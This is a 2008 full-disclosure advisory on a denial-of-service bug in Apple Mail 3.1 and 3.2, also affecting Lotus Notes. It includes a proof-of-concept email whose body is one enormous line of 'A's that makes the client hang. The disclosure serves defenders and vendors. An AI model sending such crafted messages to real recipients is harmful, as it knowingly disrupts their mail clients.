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List:       full-disclosure
Subject:    [Full-disclosure] Apple Mail Denial of Service Vulnerability (with
From:       David Wharton <security () davidwharton ! us>
Date:       2008-05-30 0:31:39
Message-ID: EB27A370-8013-4C37-AF64-709FEDE93D7B () davidwharton ! us
[Download RAW message or body]


***Summary***

A maliciously crafted e-mail message can cause a denial of service in
multiple versions of the Apple Mail email client.

***Scope***

Apple Mail version 3.1 (914/915)
Apple Mail version 3.2 (919/919.2)

Note: other versions of this product may be vulnerable as well; I have
not tested them.  The vendor has been made aware of this issue and has
chosen not to treat it as a security issue.

Interestingly enough, a similar issue seems to be present in multiple
versions of IBM Lotus Notes (see SPR# EHET5X6Q5Z -- \
                http://www-1.ibm.com/support/docview.wss?rsF3&uid=swg21175611)
.  The exploit provided in this advisory will also cause a denial of
service condition on multiple versions of IBM Lotus Notes.  IBM has
been kind enough to create SPR# PRAD7DPKLW to address the issue the
exploit targets.

***Description***

An email message with a maliciously crafted body (in my tests I used a
long line) can cause the e-mail client to hang, resulting in a denial
of service condition.  Testing with emails that do not have any
newline characters (0x0A, 0x0D) or spaces (0x20) shows that a line
consisting of 1.5 MB can cause the email clients to hang for over half
an hour.

Initial testing reveals the following:

In Apple Mail, the e-mail is rendered correctly in the preview pane
but a subsequent click on a different e-mail causes the application to
hang.

***Credits***

David Wharton

***References***

Apple Mail
http://www.apple.com/macosx/features/mail.html

***PoC Exploit***

Below is a sample e-mail with headers (some headers removed or
modified) that causes the e-mail clients to hang as discussed.  Note
that the body is one long line and the "=" character is not part of;
it is there for formatting but in reality most of the body is one long
contiguous string of A's.

Subject: dos test
MIME-Version: 1.0
From: xxxxx@xxxxx.com
To: xxxxx@xxxxx.com
Date: xxxxx
Message-ID: <xxxxx.xxxxx-xxxxx.xxxxx-xxxxx.xxxxx@xxxxx.com>
X-Mailer: xxxxx
MIME-Version: 1.0
Content-Type: text/html;
	charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-CTASD-RefID: str=xxxxx.xxxxx.xxxxx.xxxxx:xxxxx,ss=1,fgs=0
X-CTASD-IP: xxx.xxx.xxx.xxx
X-CTASD-Sender: xxxxx@xxxxx.com
x-ctasd: uncategorized
x-ctasd-vod: uncategorized
x-ctasd-station:
X-OriginalArrivalTime: xxxxx@


<font
size="2">AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
<snip> (removed a few thousand 'A's)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</
font>NOTICE:  This e-mail message and all attachments transmitted with it
may contain confidential information intended solely for the use of the
addressee.<br />
_______________________________________________
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